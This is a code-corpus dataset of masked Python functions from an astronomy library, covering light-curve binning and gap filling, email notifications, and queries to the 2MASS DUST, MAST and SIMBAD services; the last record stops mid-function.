{"signature": "def phase_bin_magseries_with_errs(phases, mags, errs,<EOL>binsize=<NUM_LIT>,<EOL>minbinelems=<NUM_LIT:7>):", "body": "<EOL>if not(phases.shape and mags.shape and len(phases) > <NUM_LIT:10> and len(mags) > <NUM_LIT:10>):<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>finiteind = np.isfinite(mags) & np.isfinite(phases) & np.isfinite(errs)<EOL>finite_phases = phases[finiteind]<EOL>finite_mags = mags[finiteind]<EOL>finite_errs = errs[finiteind]<EOL>nbins = int(np.ceil((np.nanmax(finite_phases) -<EOL>np.nanmin(finite_phases))/binsize) + <NUM_LIT:1>)<EOL>minphase = np.nanmin(finite_phases)<EOL>phasebins = [(minphase + x*binsize) for x in range(nbins)]<EOL>time_coords = np.array([[x,<NUM_LIT:1.0>] for x in finite_phases])<EOL>phasetree = cKDTree(time_coords)<EOL>binned_finite_phaseseries_indices = []<EOL>collected_binned_mags = {}<EOL>for phase in phasebins:<EOL><INDENT>bin_indices = phasetree.query_ball_point(np.array([phase,<NUM_LIT:1.0>]),<EOL>binsize/<NUM_LIT>, p=<NUM_LIT:1.0>)<EOL>if (bin_indices not in binned_finite_phaseseries_indices and<EOL>len(bin_indices) >= minbinelems):<EOL><INDENT>binned_finite_phaseseries_indices.append(bin_indices)<EOL><DEDENT><DEDENT>binned_finite_phaseseries_indices = [np.array(x) for x in<EOL>binned_finite_phaseseries_indices]<EOL>collected_binned_mags['<STR_LIT>'] = (<EOL>binned_finite_phaseseries_indices<EOL>)<EOL>collected_binned_mags['<STR_LIT>'] = phasebins<EOL>collected_binned_mags['<STR_LIT>'] = len(binned_finite_phaseseries_indices)<EOL>binned_phase = np.array([np.median(finite_phases[x])<EOL>for x in binned_finite_phaseseries_indices])<EOL>collected_binned_mags['<STR_LIT>'] = binned_phase<EOL>collected_binned_mags['<STR_LIT>'] = binsize<EOL>collected_binned_mags['<STR_LIT>'] = (<EOL>np.array([np.median(finite_mags[x])<EOL>for x in binned_finite_phaseseries_indices])<EOL>)<EOL>collected_binned_mags['<STR_LIT>'] = (<EOL>np.array([np.median(finite_errs[x])<EOL>for x in binned_finite_phaseseries_indices])<EOL>)<EOL>return collected_binned_mags<EOL>", "docstring": "Bins a phased magnitude/flux time-series using the bin size provided.\n\n    Parameters\n    ----------\n\n    phases,mags,errs : np.array\n        The phased magnitude/flux time-series and associated errs to bin in\n        phase. Non-finite elements will be removed from these arrays. At least\n        10 elements in each array are required for this function to operate.\n\n    binsize : float\n        The bin size to use to group together measurements closer than this\n        amount in phase. This is in units of phase.\n\n    minbinelems : int\n        The minimum number of elements required per bin to include it in the\n        output.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'phasebin_indices': a list of the index arrays into the\n                                 nan-filtered input arrays per each bin,\n             'phasebins': list of bin boundaries for each bin,\n             'nbins': the number of bins generated,\n             'binnedphases': the phase values associated with each phase bin;\n                            this is the median of the phase value in each bin,\n             'binnedmags': the mag/flux values associated with each phase bin;\n                           this is the median of the mags/fluxes in each bin,\n             'binnederrs': the err values associated with each phase bin;\n                           this is the median of the errs in each bin}", "id": "f14742:m9"}
{"signature": "def fill_magseries_gaps(times, mags, errs,<EOL>fillgaps=<NUM_LIT:0.0>,<EOL>sigclip=<NUM_LIT>,<EOL>magsarefluxes=False,<EOL>filterwindow=<NUM_LIT:11>,<EOL>forcetimebin=None,<EOL>verbose=True):", "body": "<EOL>finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[finind], mags[finind], errs[finind]<EOL>nzind = np.nonzero(ferrs)<EOL>ftimes, fmags, ferrs = ftimes[nzind], fmags[nzind], ferrs[nzind]<EOL>stimes, smags, serrs = sigclip_magseries(ftimes, fmags, ferrs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if magsarefluxes:<EOL><INDENT>smags = smags / np.median(smags) - <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>smags = smags - np.median(smags)<EOL><DEDENT>if isinstance(fillgaps, float):<EOL><INDENT>gapfiller = fillgaps<EOL><DEDENT>elif isinstance(fillgaps, str) and fillgaps == '<STR_LIT>':<EOL><INDENT>smoothed = smags - savgol_filter(smags, filterwindow, <NUM_LIT:2>)<EOL>noiselevel = <NUM_LIT> * np.median(np.abs(smoothed - np.median(smoothed)))<EOL>gapfiller = noiselevel<EOL><DEDENT>elif isinstance(fillgaps, str) and fillgaps == '<STR_LIT>':<EOL><INDENT>gapfiller = np.nan<EOL><DEDENT>gaps = np.diff(stimes)<EOL>gapmoderes = scipy.stats.mode(gaps)<EOL>gapmode = gapmoderes[<NUM_LIT:0>].item()<EOL>LOGINFO('<STR_LIT>' % gapmode)<EOL>if forcetimebin:<EOL><INDENT>LOGWARNING('<STR_LIT>' %<EOL>forcetimebin)<EOL>gapmode = forcetimebin<EOL><DEDENT>if gapmode == <NUM_LIT:0.0>:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return None<EOL><DEDENT>starttime, endtime = np.min(stimes), np.max(stimes)<EOL>ntimes = int(np.ceil((endtime - starttime)/gapmode) + <NUM_LIT:1>)<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % ntimes)<EOL><DEDENT>interpolated_times = np.linspace(starttime, endtime, ntimes)<EOL>interpolated_mags = np.full_like(interpolated_times, gapfiller)<EOL>interpolated_errs = np.full_like(interpolated_times, gapfiller)<EOL>for ind, itime in enumerate(interpolated_times[:-<NUM_LIT:1>]):<EOL><INDENT>nextitime = itime + gapmode<EOL>itimeind = np.where((stimes > itime) & (stimes < nextitime))<EOL>if itimeind[<NUM_LIT:0>].size > <NUM_LIT:1>:<EOL><INDENT>interpolated_mags[ind] = np.median(smags[itimeind[<NUM_LIT:0>]])<EOL>interpolated_errs[ind] = np.median(serrs[itimeind[<NUM_LIT:0>]])<EOL><DEDENT>elif itimeind[<NUM_LIT:0>].size == <NUM_LIT:1>:<EOL><INDENT>interpolated_mags[ind] = smags[itimeind[<NUM_LIT:0>]]<EOL>interpolated_errs[ind] = serrs[itimeind[<NUM_LIT:0>]]<EOL><DEDENT><DEDENT>return {'<STR_LIT>':interpolated_times,<EOL>'<STR_LIT>':interpolated_mags,<EOL>'<STR_LIT>':interpolated_errs,<EOL>'<STR_LIT>':gapmode}<EOL>", "docstring": "This fills in gaps in a light curve.\n\n    This is mainly intended for use in ACF period-finding, but maybe useful\n    otherwise (i.e. when we figure out ARMA stuff for LCs). The main steps here\n    are:\n\n    - normalize the light curve to zero\n    - remove giant outliers\n    - interpolate gaps in the light curve\n      (since ACF requires evenly spaced sampling)\n\n    From McQuillan+ 2013a (https://doi.org/10.1093/mnras/stt536):\n\n        \"The ACF calculation requires the light curves to be regularly sampled\n        and normalized to zero. We divided the flux in each quarter by its\n        median and subtracted unity. Gaps in the light curve longer than the\n        Kepler long cadence were filled using linear interpolation with added\n        white Gaussian noise. This noise level was estimated using the variance\n        of the residuals following subtraction of a smoothed version of the\n        flux. To smooth the flux, we applied an iterative non-linear filter\n        which consists of a median filter followed by a boxcar filter, both with\n        11-point windows, with iterative 3\u03c3 clipping of outliers.\"\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The magnitude/flux time-series and associated measurement errors to\n        operate on. Non-finite elements will be removed from these arrays. At\n        least 10 elements in each array are required for this function to\n        operate.\n\n    fillgaps : {'noiselevel', 'nan'} or float\n        If `fillgap='noiselevel'`, fills the gaps with the noise level obtained\n        via the procedure above. If `fillgaps='nan'`, fills the gaps with\n        `np.nan`. Otherwise, if `fillgaps` is a float, will use that value to\n        fill the gaps. The default is to fill the gaps with 0.0 (as in\n        McQuillan+ 2014) to \"...prevent them contributing to the ACF\".\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsareflux : bool\n        True if your \"mags\" are in fact fluxes, i.e. if \"fainter\" corresponds to\n        `mags` getting smaller.\n\n    filterwindow : int\n        The number of time-series points to include in the Savitsky-Golay filter\n        operation when smoothing the light curve. This should be an odd integer.\n\n    forcetimebin : float or None\n        If `forcetimebin` is a float, this value will be used to generate the\n        interpolated time series, effectively binning the light curve to this\n        cadence. If `forcetimebin` is None, the mode of the gaps (the forward\n        difference between successive time values in `times`) in the provided\n        light curve will be used as the effective cadence. NOTE: `forcetimebin`\n        must be in the same units as `times`, e.g. if times are JD then\n        `forcetimebin` must be in days as well\n\n    verbose : bool\n        If this is True, will indicate progress at various stages in the\n        operation.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'itimes': the interpolated time values after gap-filling,\n             'imags': the interpolated mag/flux values after gap-filling,\n             'ierrs': the interpolated mag/flux values after gap-filling,\n             'cadence': the cadence of the output mag/flux time-series}", "id": "f14742:m10"}
{"signature": "def send_email(sender,<EOL>subject,<EOL>content,<EOL>email_recipient_list,<EOL>email_address_list,<EOL>email_user=None,<EOL>email_pass=None,<EOL>email_server=None):", "body": "if not email_user:<EOL><INDENT>email_user = EMAIL_USER<EOL><DEDENT>if not email_pass:<EOL><INDENT>email_pass = EMAIL_PASSWORD<EOL><DEDENT>if not email_server:<EOL><INDENT>email_server = EMAIL_SERVER<EOL><DEDENT>if not email_server and email_user and email_pass:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>msg_text = EMAIL_TEMPLATE.format(<EOL>sender=sender,<EOL>hostname=socket.gethostname(),<EOL>activity_time='<STR_LIT>' % datetime.utcnow().isoformat(),<EOL>activity_report=content<EOL>)<EOL>email_sender = '<STR_LIT>' % (sender, EMAIL_USER)<EOL>email_recipients = [('<STR_LIT>' % (x,y))<EOL>for (x,y) in zip(email_recipient_list,<EOL>email_address_list)]<EOL>email_msg = MIMEText(msg_text)<EOL>email_msg['<STR_LIT>'] = email_sender<EOL>email_msg['<STR_LIT>'] = '<STR_LIT:U+002CU+0020>'.join(email_recipients)<EOL>email_msg['<STR_LIT>'] = make_msgid()<EOL>email_msg['<STR_LIT>'] = '<STR_LIT>' % (<EOL>sender,<EOL>socket.gethostname(),<EOL>subject<EOL>)<EOL>email_msg['<STR_LIT>'] = formatdate(time.time())<EOL>try:<EOL><INDENT>server = smtplib.SMTP(EMAIL_SERVER, <NUM_LIT>)<EOL>server_ehlo_response = server.ehlo()<EOL>if server.has_extn('<STR_LIT>'):<EOL><INDENT>try:<EOL><INDENT>tls_start_response = server.starttls()<EOL>tls_ehlo_response = server.ehlo()<EOL>login_response = server.login(EMAIL_USER, EMAIL_PASSWORD)<EOL>send_response = (<EOL>server.sendmail(email_sender,<EOL>email_address_list,<EOL>email_msg.as_string())<EOL>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>print('<STR_LIT>'<EOL>% e)<EOL>send_response = None<EOL><DEDENT>if send_response is not None:<EOL><INDENT>print('<STR_LIT>')<EOL>quit_response = server.quit()<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>quit_response = server.quit()<EOL>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>quit_response = server.quit()<EOL>return False<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>print('<STR_LIT>' % e)<EOL>returnval = False<EOL><DEDENT>quit_response = server.quit()<EOL>return returnval<EOL>", "docstring": "This sends an email to addresses, informing them about events.\n\n    The email account settings are retrieved from the settings file as described\n    above.\n\n    Parameters\n    ----------\n\n    sender : str\n        The name of the sender to use in the email header.\n\n    subject : str\n        Subject of the email.\n\n    content : str\n        Content of the email.\n\n    email_recipient list : list of str\n        This is a list of email recipient names of the form:\n        `['Example Person 1', 'Example Person 1', ...]`\n\n    email_recipient list : list of str\n        This is a list of email recipient addresses of the form:\n        `['example1@example.com', 'example2@example.org', ...]`\n\n    email_user : str\n        The username of the email server account that will send the emails. If\n        this is None, the value of EMAIL_USER from the\n        ~/.astrobase/.emailsettings file will be used. If that is None as well,\n        this function won't work.\n\n    email_pass : str\n        The password of the email server account that will send the emails. If\n        this is None, the value of EMAIL_PASS from the\n        ~/.astrobase/.emailsettings file will be used. If that is None as well,\n        this function won't work.\n\n    email_server : str\n        The address of the email server that will send the emails. If this is\n        None, the value of EMAIL_USER from the ~/.astrobase/.emailsettings file\n        will be used. If that is None as well, this function won't work.\n\n    Returns\n    -------\n\n    bool\n        True if email sending succeeded. False if email sending failed.", "id": "f14743:m0"}
{"signature": "def extinction_query(lon, lat,<EOL>coordtype='<STR_LIT>',<EOL>sizedeg=<NUM_LIT>,<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>jitter=<NUM_LIT>):", "body": "dustparams = DUST_PARAMS.copy()<EOL>if coordtype == '<STR_LIT>':<EOL><INDENT>locstr = '<STR_LIT>' % (lon, lat)<EOL><DEDENT>elif coordtype == '<STR_LIT>':<EOL><INDENT>locstr = '<STR_LIT>' % (lon, lat)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % coordtype)<EOL>return None<EOL><DEDENT>dustparams['<STR_LIT>'] = locstr<EOL>dustparams['<STR_LIT>'] = '<STR_LIT>' % sizedeg<EOL>if '<STR_LIT>' in cachedir:<EOL><INDENT>cachedir = os.path.expanduser(cachedir)<EOL><DEDENT>if not os.path.exists(cachedir):<EOL><INDENT>os.makedirs(cachedir)<EOL><DEDENT>cachekey = '<STR_LIT>' % (locstr, sizedeg)<EOL>cachekey = hashlib.sha256(cachekey.encode()).hexdigest()<EOL>cachefname = os.path.join(cachedir, '<STR_LIT>' % cachekey)<EOL>provenance = '<STR_LIT>'<EOL>if forcefetch or (not os.path.exists(cachefname)):<EOL><INDENT>time.sleep(random.randint(<NUM_LIT:1>,jitter))<EOL>provenance = '<STR_LIT>'<EOL>try:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lon, lat, coordtype, sizedeg))<EOL><DEDENT>req = requests.get(DUST_URL, dustparams, timeout=timeout)<EOL>req.raise_for_status()<EOL>resp = req.text<EOL>tableurl = DUST_REGEX.search(resp)<EOL>if tableurl:<EOL><INDENT>tableurl = tableurl.group(<NUM_LIT:0>)<EOL>req2 = requests.get(tableurl, timeout=timeout)<EOL>with open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>outfd.write(req2.content)<EOL><DEDENT>tablefname = cachefname<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % (coordtype,<EOL>lon,lat,sizedeg))<EOL>LOGERROR('<STR_LIT>' % resp)<EOL>return None<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % (coordtype,<EOL>lon,lat,sizedeg))<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % (coordtype,<EOL>lon,lat,sizedeg))<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(lon, lat, coordtype, sizedeg))<EOL><DEDENT>tablefname = cachefname<EOL><DEDENT>extinction_table = Table.read(tablefname, format='<STR_LIT>')<EOL>filters = np.array(extinction_table['<STR_LIT>'])<EOL>a_sf11_byfilter = np.array(extinction_table['<STR_LIT>'])<EOL>a_sfd98_byfilter = np.array(extinction_table['<STR_LIT>'])<EOL>extdict = {'<STR_LIT>':{x:{'<STR_LIT>':y, '<STR_LIT>':z} for<EOL>x,y,z in zip(filters,a_sf11_byfilter,a_sfd98_byfilter)},<EOL>'<STR_LIT>':np.array(extinction_table),<EOL>'<STR_LIT>':os.path.abspath(cachefname),<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT>':'<STR_LIT>' % (coordtype,<EOL>lon,lat,<EOL>sizedeg)}<EOL>return extdict<EOL>", "docstring": "This queries the 2MASS DUST service to find the extinction parameters\n    for the given `lon`, `lat`.\n\n    Parameters\n    ----------\n\n    lon,lat: float\n        These are decimal right ascension and declination if `coordtype =\n        'equatorial'`. These are are decimal Galactic longitude and latitude if\n        `coordtype = 'galactic'`.\n\n    coordtype : {'equatorial','galactic'}\n        Sets the type of coordinates passed in as `lon`, `lat`.\n\n    sizedeg : float\n        This is the width of the image returned by the DUST service. This can\n        usually be left as-is if you're interested in the extinction only.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our request.\n\n    jitter : float\n        This is used to control the scale of the random wait in seconds before\n        starting the query. Useful in parallelized situations.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'Amag':{dict of extinction A_v values for several mag systems},\n             'table': array containing the full extinction table,\n             'tablefile': the path to the full extinction table file on disk,\n             'provenance': 'cached' or 'new download',\n             'request': string repr of the request made to 2MASS DUST}", "id": "f14744:m0"}
{"signature": "def tic_single_object_crossmatch(ra, dec, radius):", "body": "for val in ra,dec,radius:<EOL><INDENT>if not isinstance(val, float):<EOL><INDENT>raise AssertionError('<STR_LIT>')<EOL><DEDENT><DEDENT>crossmatchInput = {\"<STR_LIT>\":[{\"<STR_LIT:name>\":\"<STR_LIT>\",\"<STR_LIT:type>\":\"<STR_LIT:float>\"},<EOL>{\"<STR_LIT:name>\":\"<STR_LIT>\",\"<STR_LIT:type>\":\"<STR_LIT:float>\"}],<EOL>\"<STR_LIT:data>\":[{\"<STR_LIT>\":ra,\"<STR_LIT>\":dec}]}<EOL>request = {\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT:data>\":crossmatchInput,<EOL>\"<STR_LIT>\":{<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>\"<STR_LIT>\":radius<EOL>},<EOL>\"<STR_LIT>\":\"<STR_LIT>\",<EOL>'<STR_LIT>':True}<EOL>headers,out_string = _mast_query(request)<EOL>out_data = json.loads(out_string)<EOL>return out_data<EOL>", "docstring": "This does a cross-match against the TIC catalog on MAST.\n\n    Speed tests: about 10 crossmatches per second. (-> 3 hours for 10^5 objects\n    to crossmatch).\n\n    Parameters\n    ----------\n\n    ra,dec : np.array\n        The coordinates to cross match against, all in decimal degrees.\n\n    radius : float\n        The cross-match radius to use, in decimal degrees.\n\n    Returns\n    -------\n\n    dict\n        Returns the match results JSON from MAST loaded into a dict.", "id": "f14745:m1"}
{"signature": "def massradius(age, planetdist, coremass,<EOL>mass='<STR_LIT>',<EOL>radius='<STR_LIT>'):", "body": "MR = {<NUM_LIT>:MASSESRADII_0_3GYR,<EOL><NUM_LIT:1.0>:MASSESRADII_1_0GYR,<EOL><NUM_LIT>:MASSESRADII_4_5GYR}<EOL>if age not in MR:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>massradius = MR[age]<EOL>if (planetdist in massradius) and (coremass in massradius[planetdist]):<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>' % (age, planetdist, coremass))<EOL>massradrelation = massradius[planetdist][coremass]<EOL>outdict = {'<STR_LIT>':array(massradrelation[mass]),<EOL>'<STR_LIT>':array(massradrelation[radius])}<EOL>return outdict<EOL><DEDENT>", "docstring": "This function gets the Fortney mass-radius relation for planets.\n\n    Parameters\n    ----------\n\n    age : float\n        This should be one of: 0.3, 1.0, 4.5 [in Gyr].\n\n    planetdist : float\n        This should be one of: 0.02, 0.045, 0.1, 1.0, 9.5 [in AU]\n\n    coremass : int\n        This should be one of: 0, 10, 25, 50, 100 [in Mearth]\n\n    mass : {'massjupiter','massearth'}\n        Sets the mass units.\n\n    radius : str\n        Sets the radius units. Only 'radiusjupiter' is used for now.\n\n    Returns\n    -------\n\n    dict\n        A dict of the following form is returned::\n\n            {'mass': an array containing the masses to plot),\n             'radius': an array containing the radii to plot}\n\n        These can be passed to a plotting routine to make mass-radius plot for\n        the specified age, planet-star distance, and core-mass.", "id": "f14746:m0"}
{"signature": "def tap_query(querystr,<EOL>simbad_mirror='<STR_LIT>',<EOL>returnformat='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>complete_query_later=False,<EOL>jitter=<NUM_LIT>):", "body": "<EOL>inputparams = TAP_PARAMS.copy()<EOL>inputparams['<STR_LIT>'] = querystr[::]<EOL>if returnformat in RETURN_FORMATS:<EOL><INDENT>inputparams['<STR_LIT>'] = returnformat<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' %<EOL>returnformat)<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' in cachedir:<EOL><INDENT>cachedir = os.path.expanduser(cachedir)<EOL><DEDENT>if not os.path.exists(cachedir):<EOL><INDENT>os.makedirs(cachedir)<EOL><DEDENT>xcachekey = '<STR_LIT:->'.join([repr(inputparams[x])<EOL>for x in sorted(inputparams.keys())])<EOL>cachekey = hashlib.sha256(xcachekey.encode()).hexdigest()<EOL>cachefname = os.path.join(<EOL>cachedir,<EOL>'<STR_LIT>' % (cachekey, RETURN_FORMATS[returnformat])<EOL>)<EOL>provenance = '<STR_LIT>'<EOL>incomplete_qpklf = os.path.join(<EOL>cachedir,<EOL>'<STR_LIT>' % cachekey<EOL>)<EOL>if (not forcefetch and<EOL>complete_query_later and<EOL>os.path.exists(incomplete_qpklf)):<EOL><INDENT>with open(incomplete_qpklf, '<STR_LIT:rb>') as infd:<EOL><INDENT>incomplete_qinfo = pickle.load(infd)<EOL><DEDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>waitdone = False<EOL>timeelapsed = <NUM_LIT:0.0><EOL>simbad_mirror = incomplete_qinfo['<STR_LIT>']<EOL>status_url = incomplete_qinfo['<STR_LIT>']<EOL>phasekeyword = incomplete_qinfo['<STR_LIT>']<EOL>resultkeyword = incomplete_qinfo['<STR_LIT>']<EOL>while not waitdone:<EOL><INDENT>if timeelapsed > maxtimeout:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(maxtimeout,<EOL>repr(inputparams),<EOL>status_url))<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>resreq = requests.get(status_url,<EOL>timeout=timeout)<EOL>resreq.raise_for_status()<EOL>resxml = parseString(resreq.text)<EOL>jobstatuselem = (<EOL>resxml.getElementsByTagName(phasekeyword)[<NUM_LIT:0>]<EOL>)<EOL>jobstatus = jobstatuselem.firstChild.toxml()<EOL>if jobstatus == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>waitdone = True<EOL><DEDENT>elif jobstatus != '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (timeelapsed, jobstatus, status_url))<EOL><DEDENT>time.sleep(refresh)<EOL>timeelapsed = timeelapsed + refresh<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(status_url,<EOL>resreq.text))<EOL>os.remove(incomplete_qpklf)<EOL>return None<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams), status_url)<EOL>)<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>status_url,<EOL>resreq.text)<EOL>)<EOL>os.remove(incomplete_qpklf)<EOL>return None<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>')<EOL>result_url_elem = resxml.getElementsByTagName(resultkeyword)[<NUM_LIT:0>]<EOL>result_url = result_url_elem.getAttribute('<STR_LIT>')<EOL>result_nrows = result_url_elem.getAttribute('<STR_LIT>')<EOL>try:<EOL><INDENT>resreq = requests.get(result_url, timeout=timeout)<EOL>resreq.raise_for_status()<EOL>if cachefname.endswith('<STR_LIT>'):<EOL><INDENT>with gzip.open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % result_nrows)<EOL><DEDENT>tablefname = cachefname<EOL>provenance = '<STR_LIT>'<EOL>resdict = {'<STR_LIT>':inputparams,<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT:result>':tablefname}<EOL>os.remove(incomplete_qpklf)<EOL>return resdict<EOL><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams), result_url)<EOL>)<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>result_url,<EOL>resreq.status_code)<EOL>)<EOL>os.remove(incomplete_qpklf)<EOL>return None<EOL><DEDENT><DEDENT>if forcefetch or (not os.path.exists(cachefname)):<EOL><INDENT>provenance = '<STR_LIT>'<EOL>time.sleep(random.randint(<NUM_LIT:1>,jitter))<EOL>jobid = '<STR_LIT>' % time.time()<EOL>inputparams['<STR_LIT>'] = jobid<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>'<EOL>try:<EOL><INDENT>waitdone = False<EOL>timeelapsed = <NUM_LIT:0.0><EOL>if simbad_mirror is not None and simbad_mirror in SIMBAD_URLS:<EOL><INDENT>tapurl = SIMBAD_URLS[simbad_mirror]['<STR_LIT:url>']<EOL>resultkeyword = SIMBAD_URLS[simbad_mirror]['<STR_LIT>']<EOL>phasekeyword = SIMBAD_URLS[simbad_mirror]['<STR_LIT>']<EOL>randkey = simbad_mirror<EOL>if '<STR_LIT>' in querystr:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>querystr.format(<EOL>table=SIMBAD_URLS[simbad_mirror]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>randkey = random.choice(list(SIMBAD_URLS.keys()))<EOL>tapurl = SIMBAD_URLS[randkey]['<STR_LIT:url>']<EOL>resultkeyword = SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>phasekeyword = SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>if '<STR_LIT>' in querystr:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>querystr.format(<EOL>table=SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % tapurl)<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>% repr(inputparams)<EOL>)<EOL><DEDENT>mirrorok = False<EOL>ntries = <NUM_LIT:1><EOL>while (not mirrorok):<EOL><INDENT>if ntries > maxtries:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>maxtries)<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>req = requests.post(tapurl,<EOL>data=inputparams,<EOL>timeout=timeout)<EOL>resp_status = req.status_code<EOL>req.raise_for_status()<EOL>mirrorok = True<EOL><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% tapurl<EOL>)<EOL>mirrorok = False<EOL>remainingmirrors = list(SIMBAD_URLS.keys())<EOL>waittime = random.choice(range(<NUM_LIT:1>,<NUM_LIT:6>))<EOL>time.sleep(waittime)<EOL>randkey = 